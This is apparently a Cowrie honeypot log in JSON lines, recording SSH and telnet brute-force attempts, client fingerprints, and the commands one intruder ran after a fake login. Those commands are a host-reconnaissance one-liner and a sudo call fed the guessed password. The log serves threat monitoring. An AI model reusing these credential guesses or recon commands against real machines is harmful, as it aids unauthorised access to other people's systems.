{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:50:55.977140Z","src_ip":"182.93.50.90","session":"34c34f6c21e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:50:56.190723Z","src_ip":"182.93.50.90","session":"34c34f6c21e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"traefik","password":"traefik","message":"login attempt [traefik/traefik] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:50:57.079242Z","src_ip":"182.93.50.90","session":"34c34f6c21e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:50:58.298466Z","src_ip":"182.93.50.90","session":"34c34f6c21e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":36946,"dst_ip":"10.17.0.5","dst_port":22,"session":"aaf4a2484ea6","protocol":"ssh","message":"New connection: 89.223.69.22:36946 (10.17.0.5:22) [session: aaf4a2484ea6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:51:08.349258Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:51:08.352821Z","src_ip":"89.223.69.22","session":"aaf4a2484ea6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:51:08.468900Z","src_ip":"89.223.69.22","session":"aaf4a2484ea6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"10091982","message":"login attempt [root/10091982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:51:08.822174Z","src_ip":"89.223.69.22","session":"aaf4a2484ea6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:51:09.940372Z","src_ip":"89.223.69.22","session":"aaf4a2484ea6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":41306,"dst_ip":"159.203.135.109","dst_port":23,"session":"6478d8b38102","protocol":"telnet","message":"New connection: 128.199.8.54:41306 (159.203.135.109:23) [session: 6478d8b38102]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:51:17.648270Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.13","src_port":41718,"dst_ip":"10.17.0.5","dst_port":22,"session":"0498a8d6fe26","protocol":"ssh","message":"New connection: 91.92.40.13:41718 (10.17.0.5:22) [session: 0498a8d6fe26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:51:25.957569Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:51:26.239599Z","src_ip":"91.92.40.13","session":"0498a8d6fe26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:51:26.242585Z","src_ip":"91.92.40.13","session":"0498a8d6fe26","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"Administrator","message":"login attempt [admin/Administrator] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:51:27.723541Z","src_ip":"91.92.40.13","session":"0498a8d6fe26","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:51:28.619061Z","src_ip":"91.92.40.13","session":"0498a8d6fe26","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E \"model name|Hardware\" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,\"\",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"CAT_HELP:$cat_help\"; echo \"LS_HELP:$ls_help\"; echo \"LAST:$last_output\"","message":"CMD: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E \"model name|Hardware\" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,\"\",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"CAT_HELP:$cat_help\"; echo \"LS_HELP:$ls_help\"; echo \"LAST:$last_output\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:51:28.621979Z","src_ip":"91.92.40.13","session":"0498a8d6fe26","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -m 2 > /dev/null","message":"CMD: uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:51:28.624734Z","src_ip":"91.92.40.13","session":"0498a8d6fe26","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m 2 > /dev/null","message":"CMD: uname -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:51:28.627560Z","src_ip":"91.92.40.13","session":"0498a8d6fe26","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/uptime 2 > /dev/null | cut -d. -f1","message":"CMD: cat /proc/uptime 2 > /dev/null | cut -d. -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:51:28.631577Z","src_ip":"91.92.40.13","session":"0498a8d6fe26","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a6ee2c8711434300fa8b915abb90fc277982f7cc01a88f7810cfa1ad8ef14853","size":44,"shasum":"a6ee2c8711434300fa8b915abb90fc277982f7cc01a88f7810cfa1ad8ef14853","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/a6ee2c8711434300fa8b915abb90fc277982f7cc01a88f7810cfa1ad8ef14853 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:51:28.960539Z","src_ip":"91.92.40.13","session":"0498a8d6fe26","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:51:29.687975Z","src_ip":"91.92.40.13","session":"0498a8d6fe26","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo 'Administrator' | sudo -S bash -c 'm=0; while read k v r; do [ \"$k\" = MemTotal: ] && { m=$v; break; }; done < /proc/meminfo 2>/dev/null; [ \"$m\" -gt 1048576 ] 2>/dev/null && echo 1 || echo 0' || bash -c 'm=0; while read k v r; do [ \"$k\" = MemTotal: ] && { m=$v; break; }; done < /proc/meminfo 2>/dev/null; [ \"$m\" -gt 1048576 ] 2>/dev/null && echo 1 || echo 0'","message":"CMD: echo 'Administrator' | sudo -S bash -c 'm=0; while read k v r; do [ \"$k\" = MemTotal: ] && { m=$v; break; }; done < /proc/meminfo 2>/dev/null; [ \"$m\" -gt 1048576 ] 2>/dev/null && echo 1 || echo 0' || bash -c 'm=0; while read k v r; do [ \"$k\" = MemTotal: ] && { m=$v; break; }; done < /proc/meminfo 2>/dev/null; [ \"$m\" -gt 1048576 ] 2>/dev/null && echo 1 || echo 0'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:51:29.690072Z","src_ip":"91.92.40.13","session":"0498a8d6fe26","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"m=0; while read k v r; do [ \"$k\" = MemTotal: ] && { m=$v; break; }; done < /proc/meminfo 2>/dev/null; [ \"$m\" -gt 1048576 ] 2>/dev/null && echo 1 || echo 0","message":"CMD: m=0; while read k v r; do [ \"$k\" = MemTotal: ] && { m=$v; break; }; done < /proc/meminfo 2>/dev/null; [ \"$m\" -gt 1048576 ] 2>/dev/null && echo 1 || echo 0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:51:29.692455Z","src_ip":"91.92.40.13","session":"0498a8d6fe26","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"while read k v r","message":"Command not found: while read k v r","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:51:29.694508Z","src_ip":"91.92.40.13","session":"0498a8d6fe26","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"{ m=$v","message":"Command not found: { m=$v","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:51:29.696327Z","src_ip":"91.92.40.13","session":"0498a8d6fe26","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"break ","message":"Command not found: break ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:51:29.698090Z","src_ip":"91.92.40.13","session":"0498a8d6fe26","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"} ","message":"Command not found: } ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:51:29.699639Z","src_ip":"91.92.40.13","session":"0498a8d6fe26","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/9367b6b0b5b03dd27574115f087d31549daebd3139c5125f6ac8b4745f1c9234","size":124,"shasum":"9367b6b0b5b03dd27574115f087d31549daebd3139c5125f6ac8b4745f1c9234","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/9367b6b0b5b03dd27574115f087d31549daebd3139c5125f6ac8b4745f1c9234 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:51:30.184449Z","src_ip":"91.92.40.13","session":"0498a8d6fe26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:51:30.189041Z","src_ip":"91.92.40.13","session":"0498a8d6fe26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.155.93.75","src_port":42696,"dst_ip":"159.203.135.109","dst_port":22,"session":"d26133a96a17","protocol":"ssh","message":"New connection: 216.155.93.75:42696 (159.203.135.109:22) [session: d26133a96a17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:51:41.703382Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:51:41.707305Z","src_ip":"216.155.93.75","session":"d26133a96a17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:51:41.858314Z","src_ip":"216.155.93.75","session":"d26133a96a17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ASDFG123","message":"login attempt [root/ASDFG123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:51:42.495972Z","src_ip":"216.155.93.75","session":"d26133a96a17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:51:43.649137Z","src_ip":"216.155.93.75","session":"d26133a96a17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.53529763221741,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:52:01.183373Z","src_ip":"128.199.8.54","session":"6478d8b38102","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.13","src_port":48818,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d5f2e82eb0b","protocol":"ssh","message":"New connection: 91.92.40.13:48818 (10.17.0.5:22) [session: 8d5f2e82eb0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:53:57.701215Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:53:57.990183Z","src_ip":"91.92.40.13","session":"8d5f2e82eb0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:53:57.993492Z","src_ip":"91.92.40.13","session":"8d5f2e82eb0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"access","message":"login attempt [admin/access] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:53:59.416138Z","src_ip":"91.92.40.13","session":"8d5f2e82eb0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:54:00.701418Z","src_ip":"91.92.40.13","session":"8d5f2e82eb0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.198.19.241","src_port":57110,"dst_ip":"159.203.135.109","dst_port":22,"session":"ecb0e636fcf1","protocol":"ssh","message":"New connection: 85.198.19.241:57110 (159.203.135.109:22) [session: ecb0e636fcf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:54:08.151039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:54:09.676237Z","src_ip":"85.198.19.241","session":"ecb0e636fcf1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:54:09.684887Z","src_ip":"85.198.19.241","session":"ecb0e636fcf1","protocol":"ssh"}
